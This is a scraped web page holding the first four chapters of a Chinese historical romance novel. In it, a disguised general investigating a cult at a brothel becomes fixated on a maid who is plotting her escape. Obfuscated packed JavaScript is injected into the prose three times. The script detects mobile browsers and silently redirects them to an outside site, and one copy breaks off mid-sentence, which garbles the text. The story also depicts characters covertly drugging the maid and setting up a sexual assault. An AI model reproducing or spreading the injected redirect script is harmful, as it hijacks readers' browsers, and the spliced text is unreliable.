《春色烧骨》 1. 第 1 章 乌云晦月,春雨淋漓。 谢庭钰提着一盏油纸灯笼,走在雨水浸湿的廊道上。他打算穿过西苑,从后门离开醉花楼。 西苑的西府海棠正值花期,浮在枝木上端那一大片一大片的胭脂红晕,即使在晦暗的月色中也依然奇异闪烁。 他步履稍停,往烈烈花海望去。 习武之人耳目通明,不过几息,他就听到花间传来推搡谩骂的动静。 定睛一看,就见重重花影后有一名女子被人推倒在地,另有一名书生装束的男子朝她挥拳而去。 谢庭钰即刻飞出一枚铜钱,砸在书生的手腕上。 书生猝不及防,捂住吃痛的手腕“哎哟哎哟”地叫,连连退后几步。 他另一只手上的酒壶摔在地上,深褐色的酒壶碎成数瓣,半壶酒洒地,四周萦绕着一股融合潮湿花香的酒气。 书生怒气更盛,胡乱挥着双臂,面目狰狞地往地上的女子冲过去。 “住手!” 一声严厉的断喝令书生骤然停下脚步。 书生抬目望去,在水晕的澄黄烛光中,只见一名男子从花影间走来,真是身形出众,丰神迥异,令同性观之自愧不如。 “好你个绣月!果然是有了新的姘头!”书生在卑怯的情绪中越发愤怒,趁酒壮胆朝那名男子挥拳相向。 对付一个撒泼的醉鬼,于谢庭钰来说简直小菜一碟。 不过两三招,那书生就滚倒在地,蜷缩着身体“呜呜”地哭,断断续续地喊着“绣月”二字。 掉落的油纸灯笼烧了起来,燃着地上的酒水,烧得熊烈。 谢庭钰淡然地转头,看向地上的女子。正是: 海棠花下淅淅雨,风卷春意浓似酒。 昏月幽林靡焰漫,胭脂红晕正醉人。 那时他还没意识到,便是这一眼,将自己推入情潮翻涌的欲海深渊。 他压下心中无端掀起的情绪,伸手想将她扶起来。 她却十足警惕,见他伸手,急忙从地上爬起来,慌慌张张地提起濡湿的裙摆,头也不回地跑开了。 她仓惶离开,月白色长裙的一只宽袖边缘掠过他的手背。 柔软的绫纱因为沾了雨而变得滞重,那触感似落满春露的三月柳条。 也像溪流中从手指缝里惶惶逃离的一尾游鱼。 雨势突然大了起来。 哗哗哗—— 经不住纷纷重雨的海棠花瓣簌簌落下。 谢庭钰回过神时,身上的袍服悉数淋湿。脚边的焰火熄灭,白烟澶漫在四周。那个月白色的纤瘦身影早已消失在昏晦的夜色中。 好雨知时节, 惊雷万物生。 春梦乍醒时,谢庭钰望着青色床幔发怔。 他今年二十,正是血气方刚的年纪,偶尔春梦不稀奇,稀奇的是,梦中女子的模样与昨夜那名女子一模一样,连她脸上被书生抓伤的伤痕都如出一辙。 卯正时分的天色依旧黑沉,一如他此刻的心情。 他此番隐姓埋名探查醉花楼,是有要事在身,绝不可因为一名女子而乱了思绪。 那位“绣月”姑娘在醉花楼小有名气,只是为了见她一面,谢庭钰就花了一百五十两。 他是来还东西的——昨夜她掉在海棠树下的一支白玉蝴蝶步摇。 乌木花鸟仕女图绣屏移开,屏风后的美人丰肌玉容,一颦一笑皆有风情韵致。 但绝不是昨夜的那位姑娘。 他装作一个寻常的客人,与真正的绣月饮酒听曲,顺道探问醉花楼的底细。 一炷香的见面时间结束,小厮轻敲编钟,上前请公子离开。 厢房内的莲花纹青铜熏香炉上浮着袅袅香烟,绣月斜倚在乌木圈椅上,轻轻摇扇目送公子离开,随后感叹道:“真是个才学兼备、气度不凡的公子,连模样也是一等一的好。” “可不是。在这醉花楼见过多少郎君书生,但像方才那位公子这般的,都是少有的。”丫鬟桃杏上前给绣月倒茶,“姑娘可要好好抓紧。” “这是自然。”绣月笑吟吟地坐起身,端起茶正要啜饮,突然想起什么似的,又放下茶杯,声调也降低了几分,“对了,那张生……” 桃杏语调轻快地回:“昨晚下了一夜的雨,那张生喝了酒又受了风寒,现在正病恹恹地躺在床上说胡话呢。没个十天半月,估计醒不来。姑娘大可放心,他啊,不会再来纠缠你啦。” “走,我们去找弄琴。”绣月喜笑颜开地转了转手中的团扇,随后起身从红木屉柜中取出一罐雪颜膏,“她的脸被张生抓伤了。” “姑娘家的脸,不好留疤的。”绣月露出一个意味深长的微笑。 醉花楼东苑。 绣月扯下弄琴的面纱,瞧着她脸上两条粗细不一的抓痕,惊道:“哎呀,怎么这么严重?” 弄琴面无波澜地看着她:“张生酒品不好,易怒喜动手,姑娘为什么不提前跟我说?” “我这不是一时忘了嘛。”绣月脸上毫无悔改之意,“十两银子,我也是给了你的。” 弄琴与绣月的身形相似,绣月更丰腴些,弄琴更削瘦些,黑夜里弄琴若是妆扮上绣月往日的模样,很容易骗过张生。 张生已经在醉花楼败光了家产,还要绣月跟他私奔。绣月为了摆脱张生,跟弄琴说只要按她说的去做,就能得到十两银子。 弄琴答应了,因此有了昨晚的事端。 弄琴平淡地盯了绣月片刻,然后说:“嗯。姑娘说的是。” “弄琴,你生气啦?”绣月侧头看她,接着掏出一罐雪颜膏递过去,“喏,伤口结痂后用这个敷在伤口上,这样就不会留疤了。” 弄琴接过:“多谢。这里草多泥多,姑娘身上的裙子是前日秀锦坊刚送来的云锦春裙,女工半月才制得这一件,弄脏就可惜了。” 绣月听她这样一说果真紧张,立刻提起裙摆跳开几步,低头瞧见脚上的一双桃花绣纹白绸弓鞋沾了一点泥土,扔下一句“哎呀!我不和你说了”就离开了。 隐蔽角落里,谢庭钰将方才发生的一切尽收眼底。 眼前的姑娘就是昨夜的那个人。 她今日与昨夜的穿着大有不同,身上没有一点珠光之气,发髻用一条深褐色布帛束扎,缟素葛麻窄袖短衫,外穿一件褐色背心,下着灰衫裤,外罩鸦青合围掩裙,手脚利索地修剪面前的大片草木,偶尔用锄头翻动泥土。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147872|164754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一大片草木似一方浩大而翻涌的青翠之海,那渺小而朴素的身影仿佛是一叶小舟,坚毅而稳定地行驶其间。 夹杂着情潮的悸动如电光石火般掠过心间。 四周寂静平和,只有缓缓流淌的风声。 弄琴正在低头拾掇用具和剪切下来的枝条,忽闻一阵脚步声,回首一望,不禁目光一亮。 真是好生俊朗的一位公子,穿着一件绿锻宝相花暗纹窄袖圆领袍,腰间扎着一条秋香绿花草刺绣勒帛,右侧系一只蜜合色茄袋,端端正正地站在她的面前,眉如墨画,面容如玉,姿态挺秀,恍若神君下凡。 这样一位公子出现在此处,弄琴自然认为他是迷了路,于是说:“公子往右出月洞门,直行再左转,就能回到暖香厅。” 她的面纱被绣月扯掉后就没再戴上,一张削瘦、勉强算清丽且左侧还挂着狰狞伤痕的脸,就这样敞亮平和地对着他。 谢庭钰没由来的紧张一瞬。 他挪开目光,并未马上应答,而是先将手中的白玉蝴蝶步摇递过去。 “这是昨夜姑娘落下的步摇。” 她倏地一怔。 风拂枝叶嗦嗦响。 昨夜她都没仔细看那人的长相,就匆匆跑开了。为避免引来不必要的麻烦,她小心地接过那支步摇,垂眸说了声“谢谢”。 这支步摇是绣月的,她是醉花楼的红牌,什么珠宝首饰没有,弄琴昨夜告诉她说丢了一只步摇,她也不甚在意。 既如此,弄琴想,那它就是我的了。 “只是谢谢?”他上前一步,“昨夜我出手帮你,又替你收好步摇——我是一个香料商人,不是什么大发善心之人,一句谢谢,怕是不够。” “奴婢只是一个不足为道的下人,是半点钱财也没有。不过对醉花楼熟悉,公子如果有任何需要帮忙的地方,尽管吩咐。” “巧得很,正有一个。” “请说。” “听闻弦香姑娘喜爱珍珠,”他从茄袋里取出一只掌心大小的红锦盒,在她面前打开,“这颗西海粉珍珠色泽圆润,淡淡粉红光芒温柔浪漫,还请你送到她的手上。” 弦香是醉花楼的头牌,她在醉花楼里想见谁就见谁,不想见的,就算对方一掷千金,她也看不上。 都知道弦香爱珍珠,送到醉花楼里的珍珠没有一千也有八百,再好的珍珠她的见过。 弄琴是真心想还人情,便说:“只是珍珠还不够。弦香姑娘近来爱极冯文才的诗,尤爱他写花月那几篇。公子可以照着冯文才的诗作首诗来,最好能将‘弦香’二字写进去。” “如此……”他有模有样地摆出一副恍然大悟的表情来,低头将那枚珍珠收好,“要到明日才能将诗作好。明日申正一刻,还是在此处,我将东西一并交于姑娘可否?” “好。公子还有其他事吗?” 他摇摇头。 弄琴再跟他说了一遍暖香厅的位置,就抬脚离开了。 谢庭钰走在游廊里,去的却是醉花楼的后门。 那诗他其实已经作好,“弦香”二字也嵌了进去。 只是,有了这一番托辞,他才有与她第二次见面的理由。 2. 第 2 章 三年前,谢庭钰高中状元。 他不留在玉京任职,反而请旨前去凉州平定番族之乱。 此行凶险,皇上十分欣赏他的胆魄,封他为威镇将军,并郑重承诺待他平安回京时必有重赏。 三年平乱结束,谢庭钰与一众同僚、将士返京述职,途径锦州官驿时,县令刘大人前来借兵请查清净门余孽。 清净门是前朝的一个邪教势力,当时被强力镇压,主要人物已经斩首示众,没想到逃散的余孽如今又借机掀起波澜。 只是返京一事也不能耽搁,商议之下,平阳侯世子柳世宗、威烈将军陈润文、南安郡王之孙姜子良带着大部队先行返京,留谢庭钰与五百将士在锦州协助刘大人剿灭清净门余孽。 他带着一支十二人的精锐小队乔装打扮成售卖香料的商队,租住在河阳镇的仁清巷,其余人等则扎营留守在郊外,听候下一步指示。 他与刘大人齐心协力,很快就查到了醉花楼。 谢庭钰看着手中的玉露膏略微皱眉,随后在心里为自己开解:这一切都是为了要事而有必要进行的人情往来,并非文人笔下的男女之情。 申正一刻。 “还请姑娘看看这花笺上的诗,是否合衬弦香姑娘的心意?” 谢庭钰将花笺递给弄琴,暗暗打量了一番她今日的装束,粉衫绿裙双垂髻,与醉花楼其余婢女妆扮无异,脸上的伤口还泛着猩红色。 弄琴并未留心他今日穿着,伸手接过花笺却不看,只笑说:“我没读过书,不识几个字。不过,公子一瞧便与那些个俗人不同,作的诗必定十分好。” “姑娘抬举了。对了,”他从茄袋里取出一只白瓷罐,“这玉露膏是皇室贵族的爱用之物,愈合伤疤有奇效,待伤口结痂后每日涂抹,七至十日后,肌肤便可恢复如新。” “想以此药同姑娘换一份醉花楼的香料采买单子,若我能与醉花楼签下采买协议,还将报答姑娘五十两白银。” 他将白瓷罐递到弄琴面前。 她眼前一亮:“当真?” “君子一言,驷马难追。”他知道她爱财。 她将他手上的东西都接过来。“好。公子先去暖香厅等好消息。” 弦香房内。 林妈妈笑眯眯给弦香添茶——上好的明前龙井,小心地开口:“香香,已经一个月了,还没有遇到合眼缘的公子吗?” 多层银莲花型香熏炉弥漫的缭绕香烟与氤氲茶雾交融在一起,一张风情韵致的脸在朦胧中隐现。 弦香慵懒地斜倚在紫檀木嵌玉美人榻上,手里把玩着一把白玉雕花折扇,百无聊赖地说:“俗人,都是些平庸至极之辈。” 叩叩叩—— 弄琴的声音在厢门前响起:“弦香姑娘,新的一批贵礼和花笺送来了。” 还未等弦香答应,林妈妈先兴奋道:“速速送来。” 弄琴稳当地端着木托踏入厢房。 林妈妈问:“今日可有些能看的?” 弄琴回答:“有位做香料生意的李旭公子不错,模样比其他人要好。” 弦香呵笑起来,笑她:“你便只会看男人的模样。” “罢了。”弦香收了玉折扇,施施然地坐起身,伸出白玉一样莹润的手,“将他的花笺拿来我看一看。” 弄琴拨开那叠花笺,将谢庭钰的花笺抽出来递过去。 弦香把眼一瞧,了不得,好亮眼的一幅墨字,隽永刚劲,笔锋温润,再一读那诗: 《花月词》 今夜瑶江映月朗, 流光浮舟春色漾。 对酒当歌心阔明, 弦落桃花香也清。 弦香登时喜不胜收,细细读了几遍,越读越喜欢。 尤其是那心境阔明、弦花香清的诗意甚合她意。 弄琴见了弦香的神情,旋即将红锦盒打开,补充道:“这是李公子赠予姑娘的西海粉珍珠。” 弦香看着满心欢喜。 林妈妈也跟着高兴,将她的玉牌找来问她:“不如请李公子前来厢房一叙?” 弦香连忙示意弄琴:“快去请李公子。” 弄琴:“是。” 锦州此地崇尚“丰腴之美”,似弄琴这种如杨柳纤瘦的,多被人忽视,似绣月那般丰姿鲜妍的备受追捧,而似弦香这类容貌骨相皆一等的娇姿艳态的美人,真是为求见一面,愿掷千金银。 故此化名为“李旭”的谢庭钰一见弦香,便道:“腮凝新荔貌如玉,牡丹羞愧弦香颜。” 一开口就哄得弦香双颊飞红云。她声娇语细地请公子入座,接着吩咐:“秋云,快给公子奉茶。” 随后二人论古说今,品茗下棋,相处好不愉快。 离开前,谢庭钰递给弦香一只精致小巧的镂空飞鸟葡萄纹香囊,并说:“这里头装着的香丸是专供皇室的玉迦香,我有些门路,特地取来一只送赠佳人。” 听他提到“玉迦香”,弦香立刻探身取来,放在鼻尖轻嗅,闻之香味醇柔浓郁,给人一种深寺敲幽钟的宁静之感。 弦香打开香囊,见里头的香丸如大豆大小。 她心思百转,将香囊小心合上。 这时再看他,她的眼神里有了不一样的意味:“听旭郎方才言语,手中还有玉迦香?” 谢庭钰回:“明日与弦香再会时,知无不言。” 她低头一笑,笑他倒是自信明日自己会见他。不过……她的确是越看他越满意。 细心收好那只造价高昂的香囊,她站起来走到他身侧:“弦香送旭郎一程。” 之后,谢庭钰隔三差五就来醉花楼寻弦香。 这日正巧下雨,竹竿似的雨铺天盖地落下。 弦香和“李公子”正坐在亭台前下棋。 红泥小炉烧着山泉水,秋云用厚布帕盖在提手上将其提起。 沸水滚茶,鲜浓甘润的茶香溢满整个厢房。 秋云才给二位斟好茶,厢房的木门就打开了。 弄琴缓步走进门,将手上端着的一只斗大的汝窑花囊搁在黄花梨木花几上。 秋云放好紫泥茶壶,略带抱怨地质问弄琴:“今日的花囊怎的才送来?呀,还只有一朵白花。” 秋云不满地走上前:“弄琴,平日里我们姑娘可待你不薄,你倒好,婵玉姑娘不过送了你一柄玉梳篦,你就一大早巴巴地端着满瓶鲜花送她屋里。” 弦香捏着黑子,目光落在黑白交错的棋盘上,听着秋云的质问,不搭腔也不阻止。 谢庭钰抬眼望向话音处,透过影影绰绰的湘妃竹帘,看见那个粉衫绿裙的身影。 面对秋云的指摘,弄琴不慌不忙地解释:“前月孙花匠新栽植的雪月芍药准备开花,林妈妈早早以弦香姑娘的名义定了一枝。等到今日才开了花,挑来拣去,也只一朵好看。一路小心护送,未正左右才送到。” “花与花自有不同。奴婢斗胆认为,茂盛的绿衬托独一无二的花,才好献给姑娘。” 弦香这才轻笑出声,将指尖的黑子落在棋盘一格处,脆声道:“拿来瞧瞧。” 竹帘掀起,弄琴垂眸捧着花囊走上前。 弦香转头一看,果真清新雅致,白玉似的芍药温润娇婉,美不胜收。 弦香笑问公子:“旭郎以为如何?” 谢庭钰看向放到圆桌上的花囊,脑海里回忆的却是昨日暮时瞧见的场景—— 有名丫鬟拦下弄琴,要她明日一早将各色鲜花都送到婵玉姑娘房内,并且不许别人的花类超过婵玉姑娘。 摆明要挑战弦香的地位。 弄琴倒是面不改色,沉吟片刻就说要二十两才能成事,否则只能请教林妈妈的意见了。 对方自然不想闹到林妈妈面前,爽快地掏出二十两递给她。 等那丫鬟走了,她取出一盆开得正好的芍药,只留下最好看的一朵,接着将其他的花头都剪了下来,碾碎后埋到美人蕉树下。 再一对比她方才所言,谢庭钰浅浅一笑,并不打算拆穿她。 “绿芜迎白玉,众星捧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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只是玉迦香本就稀有,成为皇室专供后,民间更是难得一见,所以现在的门主没有玉迦香,只能用略次一等的沉水香代替。 谢庭钰想要快速探入清净门内部,最好的办法就是让他们知道他的手里有玉迦香。 最稳妥的方法就是从弦香入手。她是门主的人,专为他物色能人异士,地位崇高,连林妈妈都要看她的眼色行事。 弦香十足谨慎,谢庭钰估摸着还得陪她演上一阵子戏。 没过几日,由林妈妈出面,说要跟他谈一笔香料生意,他欣然接受。 跟刘大人商议后,二人就将事项一一吩咐下去。 接着他拿上五十两,找到弄琴面前。 “这是先前答应过的五十两。姑娘收好。”他将钱袋子给过去,发现她脸上的伤痕已经没了,可见有在好好用玉露膏。 弄琴微笑着接过钱袋子,朝他说了几句“生意兴隆”、“财源广进”之类的通俗吉祥话,就推着装满新进的草木盆土的木车告辞了。 见她毫不留恋地离开,他的心里莫名其妙地浮起一股怅然若失的情绪。 但想想,二人的交集本该到此结束,他们本就不是同路人。 他不过是一时兴起,现在也该收心结束了。 他往与她相反的方向,离开醉花楼。 * 绣月房内。 “如何,打听到了吗?”绣月倾身去问踱步赶来的桃杏。 桃杏点点头:“打听到了。原来那位李公子与弦香姑娘好上了。” “怪不得……”绣月颓唐地靠在乌木圈椅上唉声叹气,“罢了。这醉花楼里,谁敢让那棵摇钱树不高兴。婵玉都被林妈妈敲打了一番。——都进展到哪一步了?” 桃杏:“还在喝茶聊天呢。” 绣月拍掌笑起来,随后讥讽一句:“就她的身子金贵。” “姑娘!”桃杏紧张地示意她隔墙有耳。 绣月“哼”了一声,到底不敢放肆,就没再继续往下说了。 3. 第 3 章 今日天气晴朗,碧空如洗。 凉亭里的树影偏移了几分。 一阵春风拂过,交错的树叶嗦嗦作响,仿佛在下一场雨。 弄琴悠悠转醒,朦胧中还在想今日这午觉睡得真是好,往常靠着歇息的木柱也格外舒服。 她迷迷瞪瞪地睁眼,感受着四周扑面而来的清风,望着眼前婆娑摇晃、明暗交织的光影,犯了懒想要靠回木柱再眯一小会儿。 一靠,才发觉那触感与木头截然不同,一看,是一件墨蓝色兰草纹样的袍服,袍服下摆露出一截暗红绸裤,再往下是一双乌皮六合靴。 仿佛被针扎一样,她瞬间跳开,不仅睡意全无,魂儿也快飞完了。 她很崩溃,脑子一片空白,半点也想不起来自己为什么会靠在“李旭”的身上睡着了。 谢庭钰虽然一早就被她的动静闹醒,但他等到这时才佯装被惊醒,风轻云淡地抬手揉揉睛明穴,接着转头看向脸色发白的姑娘,语气带了点调侃:“看来是醒了。” 她只觉得头皮发麻、四肢僵硬、背脊无力,但对上他的目光,仍要磕磕巴巴地出声:“李……李公子,我,奴婢也,也,也不知道……” 她当然不会知道为什么,因为谢庭钰暗地往她的水囊里下了安神散。 在她昏睡之际走入亭中,坐到她的身边,让她自然而然地误以为他是她往常倚靠小憩的木柱。 等她靠在自己的身上睡过去后,他闲来无事,便也合上双眼,想着闭目养神一番。 哪知风轻日暖树影晃,一切都是意想不到的舒适,他跟着睡了过去。 没想到有一天,自认谦谦君子的谢庭钰,也会做出此等下作的事情。 罢了,凉州平乱三年,他为了有效镇压敌军,下作的事情做多了,不差这一件。 他并不打算解释,闲然起身掸了掸起皱的袍服,回头看她一眼,意味深长地说了一句:“你睡得倒是舒服。” 她的目光随着他离开的方向望去,张着嘴,却始终说不出一个字来。 她周身发软地瘫靠着长椅,盯着青石上的树影发怔,无比希望刚才发生的一切只是一场午后惊梦。 次日晌午。 弄琴没有去往日常去的凉亭,而是去了西苑的西府海棠树林里。 数场春雨过后,海棠花几近落尽,幽绿的苔青地上皆是胭脂色的花瓣。 她坐在树林中的一处小石潭旁躲日光。 石潭里的游鱼佁然不动,她也放空一切地吃着手上的酱菜包。 “你往日里就吃这些?”一道熟悉的声音响起。 她骇然地抬头望去,见了来人,险些扔掉手里咬了两口的包子。 她惶惶不安地站起来,悄悄往后挪了两小步,跟他拉开更多的距离。 谢庭钰垂眸看了一眼二人的距离,又抬眸望向见自己如见鬼一样的人,说:“昨日你拿我当软垫睡了一晌午,今日我要你陪我用膳,不过分吧?” 她看了一眼他拎在左手里的红漆木食盒,幽幽饭菜香袭来,让人忍不住咽口水。 但她还是拒绝了:“公子是贵客,奴婢怎么能与您一同用膳呢。我吃包子就够……” 他懒得听她费口舌,上前两步夺过她手上的酱菜包,扬手就往远处的一只大黄狗丢过去。 大黄狗立刻咬住包子,飞快地跑了。 “现在能了吗?”他居高临下地看她。 他此刻的模样与她印象中的温和截然不同,是那种上位者的不怒而威,是“我开口你不愿也得愿”的强势。 她在醉花楼长大,什么样的男人没见过,知道这会儿什么拒绝的话都没用,便换了态度,恭恭敬敬地朝他行礼:“贵客开口,奴婢岂敢不从?” 到了沁芳亭,食盒里的碗碟往石桌上一摆,把眼一看那些菜,不算珍馐也是佳肴了。 弄琴站在一旁,举箸要伺候他用膳。 他很不喜欢她这种明晃晃地展示二人泾渭分明的敬慎态度,沉着脸屈指在石桌上敲了两下,命令道:“自己坐下吃饭。” “可是……” “再可是就坐我腿上吃。” 身体快过大脑地坐到石凳上后,她才反应过来他方才说的是什么浑话。 “愣着做什么?”见她看着自己发愣,他的态度倒是软和了不少,“还要我亲自喂你不成?” “不是不是。” 这回她不敢再有任何多余的言行,低头拿碗盛饭,期间他让吃菜就吃菜,让嚼肉就嚼肉,让喝汤就喝汤。 他却不吃,只盯着她吃。但她不敢开口问为什么,怕他又说出些什么惊世骇俗的话来。 她进食不语,他反而耐不住沉默与她搭话:“林妈妈总是这样克扣下人的伙食?” 他上下打量她一眼,天天吃酱菜包,一点肉丝都没有,怪不得这么清瘦。 “吃包子也挺好的。”她埋头吃饭,没有正面回答。 醉花楼日进斗金,下人们的伙食不差,甚至日日有肉吃。 所以她不是没得吃,而是不敢吃。 锦州崇尚“丰腴之美”,所以她越是削瘦越不会被客人看上,越能像个透明人一样,蜷缩在醉花楼里存活。 可是…… 她悄悄瞟一眼“李公子”,不期然与他对视,慌得迅速收回目光。 他一直盯着她,自然发现了她的小动作。“看我做什么?” 她只好硬着头皮说:“公子体恤下人实在是好心肠。不过您是弦香姑娘的座上宾,与奴婢待在一块儿,是会给奴婢带来灭顶之灾的,还请公子……” 她说着就要放下碗筷。 谢庭钰凝眉严肃道:“不许浪费。” 她立刻捧起碗筷。 见她又慢吞吞地吃起来,他才缓缓出声:“你方才的言行,说明林妈妈并没有克扣伙食,只是你自己不想吃好的。锦州崇尚丰腴之美,你不想挂牌成为楼里的姑娘,便日日克扣自己。” “不出头,不惹事,八面玲珑,圆滑低调。在水里时像鱼,在树林里像落叶,在楼里就像一扇门、一叶窗……因为恰如其分,所以从来不会被关注,但也不会被完全漠视。” “好生厉害。”他说着,看她的眼神越发欣赏。 第一次被人如此直白地点出,她登时惶恐到喉咙发紧,捏着竹箸的手用力到指尖发白。 她垂头盯着碗沿,抿紧唇小心呼吸。 谢庭钰轻笑一声。“你不必如此紧张。我只是第一次见到你这么个趣人儿,闲来无事逗你玩玩罢了。” “倒不至于真的看上你。”他末尾特地强调一句。 弄琴稍稍放松刚才紧绷的情绪,抬眼看他,目光中带了点疑窦。 他好笑道:“我跟你不是同路人。” 她的视线从他那张俊脸挪到亭前石阶上的残花。“奴婢的名字叫弄琴。拨弄琴弦的意思。这是一个只适合醉花楼的名字,离了醉花楼,就上不得台面了。” 她的话,继续强调二人的云泥之别。 谢庭钰的心里浮起一丝不满,睨了她一眼,没好气地反驳:“我看你是井底之蛙,孤陋寡闻。青莲居士有诗曰:拂花弄琴坐青苔,绿萝树下春风来。‘弄琴’更是雅事一桩。” 听了他的话,她反倒笑起来:“公子教训的是。奴婢的确孤陋寡闻,大俗人一个。” 很好,他的话越发遂了她的意。 他梗着一口气,不满道:“你放心,过了今日,你姓甚名谁我都忘干净。” 义正词严。信誓旦旦。 说的到,却做不到。 第二次晌午,谢庭钰抓到弄琴时,她正躲在小仓库门前准备吃酱菜包。 看着一脸受惊的人,他轻描淡写地威胁道:“你若是不陪我用膳,我便向林妈妈讨你回去做丫鬟。” 说是陪他用膳,实际上只有她一个人在吃,而他就端坐在一旁盯着她把饭菜吃完。 谢庭钰当然知道不应该再与花楼里的姑娘有拉扯,她会是他平步青云的绊脚石,会是他迎娶高门贵女的扎马钉,还是他往后高宅生活里的肉中刺。 与她纠缠,可谓是百害而无一利。 只是人之爱恨,从来不以自身意愿所兴起消亡。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15147874|164754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 故此当他回过神时,他已经在她的水囊里下了药;即便被她如此说道,仍要卑劣地要挟她吃完他细心准备的吃食。 “你不必在此欲擒故纵。”他看着就快把头埋进饭菜里的人,“你这身子瘦得跟竹竿一样,一看就没什么嚼头。我要寻欢作乐也寻不到你身上。” 她小声地解释:“奴婢没有对您故擒欲纵……” 他冷笑一声:“没有?故意摆出一副恐惧我的模样,结果还不是乖乖坐在我旁边把饭慢慢吃完。” “那是因为——” “因为什么?”他冷眼睨她。 因为是你恐吓我不坐下来就坐你腿上吃,不慢慢吃就亲自喂我,不吃完就去你的家里吃!——但这些话她只敢在心里咆哮。 面对他时,她还是一副唯唯诺诺的态度:“公子教训的是。” 连续几日胁迫她的吃完为她专门准备的吃食,现在再看她时,气色都好了不少,脸蛋似乎也圆了一点。 她这会儿正垂头气鼓鼓地吃饭,他看着忍俊不禁,抬手按住她的头顶揉了两下,说:“知道就好。” 这是他第一次与她有身体接触,宽厚的手掌温暖干燥,按揉的力道不轻不重,是一个非常亲昵的举动。 她却如遭雷击,僵在石凳上不敢再动。 见她如此,他非常不满意地收回手,屈指敲桌地警告她:“再不动筷就去我那宅子里吃。” 好不容易熬到这尊大佛离开醉花楼,弄琴再也经受不住他那跟逗蛐蛐一样的耍玩,立刻收拾好金银细软、衣衫鞋袜,接着去小仓库布置放火装置。 一切都准备好以后,她紧张地等待夜色降临,想要等到深夜众人都入睡后放火,趁乱逃离醉花楼。 这些年她一直在攒银子,就是为了找到合适的时机离开醉花楼。 前些日子她才估算了一番,攒了差不多有五百两,可以让自己舒服地过完下半辈子。 原本是打算等到花朝节,醉花楼要热闹忙活好几日的时候借机离开,哪知突然出现一个“李公子”,彻底打乱了她的计划。 她现在是一点也不信他说“我根本没看上你”的鬼话。 她在后厨帮过忙,清楚他每日送过来的吃食一顿至少五两银子,荤素精心搭配,色香味俱全。 这种宛如宰猪之前要先将猪养肥一样的行为,令她终日惶恐不安。 也怪自己犯了贪吃欲,吃过如此精细的佳肴后,就算明知他在起什么心思,她也依然心怀侥幸地默许着自己吃了一日又一日。 如今悔恨也无用,她只求今夜一切顺利。 浓夜寂静。 弄琴换好一套方便跑动的深色衣衫,一路来到昏暗的林道,往小仓库的方向静悄悄地走去。 “呀,弄琴。” 她尽可能地保持镇静,循声望去,喊她的是绣月。 绣月斜倚在支摘窗边,眉眼弯弯地朝楼下的人晃晃手里的酒壶,说:“今夜不知怎的睡不着,你上来陪我喝一杯罢。” 弄琴没办法,只好上去陪绣月喝一杯。 幸好她临走前备了一些蒙汗药,到时下到酒里,让绣月快快睡着,她好脱身离去,继续实施她的计划。 殊不知,绣月也为她备了药。 明月高悬,更漏滴答。 几杯酒下肚,绣月倦意浓浓地靠在三足凭几上,懒懒地摆手:“我困了,你且回去罢。” 朦胧中,她瞧见弄琴出去的背影稍显虚浮,兴致盎然地从案几上的白瓷花瓶中抽出一朵开得正好的芍药,一边仰看天上皎洁的明月,一边扯着花瓣一瓣一瓣地扔出窗外。 绣月为她备的是合欢散,还为她在回去的林道上安排了一位喜欢野合的何员外。 只要她在这醉花楼里开了苞,就会被挂上牌,那就不可能再逃得了了。 “你看看你,怎么可以丢下我一个人逃掉呢?你怎么可以像这月亮一样干净皎洁,自由自在呢?你要陪我一起下地狱才行。这样,我们就可以在这醉花楼里一直当好姐妹了。” 在幽幽夜色里,绣月最后的笑声形似妖魅。 4. 第 4 章 探子来报,清净门似乎得了消息,正在安排大量人手转移罪证,试图躲藏起来。 谢庭钰和刘大人收到消息,哪怕准备不够充分,也立刻决定提前围剿醉花楼。 二人分头行动,谢庭钰前去弦香的厢房查探时中了埋伏,被人下了软骨散。 那药让他的行动能力下降了五成,被清净门徒众围攻时只能勉励应付,挨了两道刀伤。 “走水啦——” 忽然,一声响亮的叫喊在寂静的夜色中响起,随之而来的是更多的混乱的叫嚷声和脚步声。 清净门的打手多是流犯,组织纪律完全比不上正规军,这一动静就让他们散了注意力。 谢庭钰立即扔下一枚火焰弹,借着白烟溢散,从窗户跳了出去。 熊熊烈火吞没木制建筑,呛鼻的浓夜弥漫整个醉花楼。 曹子宁和刘大人带兵冲了进来,正在与清净门的人械斗。 熙熙攘攘,喧闹不休。 谢庭钰躲靠在一棵大树后喘息,吞了一枚清灵丹,小歇了一会儿,正要出去,就听到清净门的人追了上来。 他屏息绕树而行,突然在一片火光与浓烟中,瞟见一脸血污的弄琴,她正往后厨跑去。 当下他也管不了这么多,往反方向甩出腰间的玉佩,以此动静暂时吸引清净门的注意,接着马上往弄琴的方向追过去。 清净门的人很快发现不对,纷纷调转方向。 “他往那边去了!” 一路追逐。 谢庭钰紧随弄琴一同跳入后厨隐蔽的地窖里。 清净门的人后脚就追到了后厨。他们在后厨好一番翻箱倒柜地扫寻,找了好一阵才往别处去了。 